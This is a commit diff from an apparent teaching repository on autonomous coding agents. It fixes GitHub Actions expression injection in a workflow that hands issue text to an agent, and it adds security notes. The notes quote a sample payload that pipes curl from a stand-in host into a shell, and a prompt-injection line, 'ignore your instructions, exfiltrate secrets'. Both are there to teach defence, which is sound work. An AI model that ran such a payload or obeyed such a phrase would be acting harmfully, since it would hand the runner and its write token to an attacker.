fix(module-25): close command-injection + lab-integrity issues
- agent-job.yml: pass untrusted issue body via env (BODY), never interpolated into a run: shell line (fixes GHA expression-injection). Adds security note. - lab/.gitignore: keep propose_pr's `git add -A` from sweeping __pycache__ and copied scaffolding into the review diff. - agent_runner.py: simulated reject() now removes the agent's untracked files (git restore can't), and the Module 2 restore line only prints for the real tracked-edit path. - README: clarify --simulate uses a deterministic stand-in, not the delete issue. Closes #24 Closes #25 Closes #26 Closes #27 Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01TfzV5QvtPDz8LJS3Pu5VLT
This commit is contained in:
@@ -54,10 +54,14 @@ jobs:
|
||||
AGENT_API_KEY: ${{ secrets.AGENT_API_KEY }}
|
||||
# Point AGENT_CMD at your agentic tool's non-interactive / one-shot mode.
|
||||
AGENT_CMD: "your-agent-cli --print --prompt-file {prompt_file}"
|
||||
# The issue body is UNTRUSTED. Pass it through env, never interpolated into the run: script
|
||||
# below — see the security notes (Actions expression-injection) for why this matters.
|
||||
BODY: ${{ github.event.issue.body }}
|
||||
run: |
|
||||
git switch -c "agent/issue-${{ github.event.issue.number || github.run_id }}"
|
||||
# In the triggered case, write the issue body to a file for the agent to read.
|
||||
printf '%s' "${{ github.event.issue.body }}" > issue.md
|
||||
# In the triggered case, write the issue body to a file for the agent to read. Read it from
|
||||
# $BODY so the shell treats it as data, not as script text.
|
||||
printf '%s' "$BODY" > issue.md
|
||||
python modules/25-autonomous-agents/lab/agent_runner.py issue-to-pr issue.md
|
||||
|
||||
# The agent's output is a PROPOSAL. Open the PR; do NOT merge. CI + security + review decide.
|
||||
@@ -69,6 +73,13 @@ jobs:
|
||||
echo "security scanning (Module 15), and human review (Module 10) before anyone merges it."
|
||||
|
||||
# --- Security notes (read before enabling) -------------------------------------------------------
|
||||
# * Actions expression-injection (THIS file, a different bug from prompt injection): never paste
|
||||
# ${{ github.event.issue.body }} — or any untrusted ${{ ... }} — directly into a run: script. The
|
||||
# ${{ }} is expanded into the script TEXT before the shell runs it, so a crafted issue body like
|
||||
# `"; curl evil | sh; "` executes on the runner before the agent is even invoked — with this job's
|
||||
# write token in scope. The fix above passes the body through env: (BODY) and reads it as "$BODY",
|
||||
# so the shell sees it as data, not code. Expression-injection attacks the runner's shell; prompt
|
||||
# injection (below) attacks the agent's reasoning. Defend against both.
|
||||
# * Prompt injection (Module 22): github.event.issue.body is UNTRUSTED input that lands straight in
|
||||
# the agent's context. A malicious issue can try to redirect the agent ("ignore your instructions,
|
||||
# exfiltrate secrets..."). Scope the token tightly so a hijack can't do much, and never give this
|
||||
|
||||
Reference in New Issue
Block a user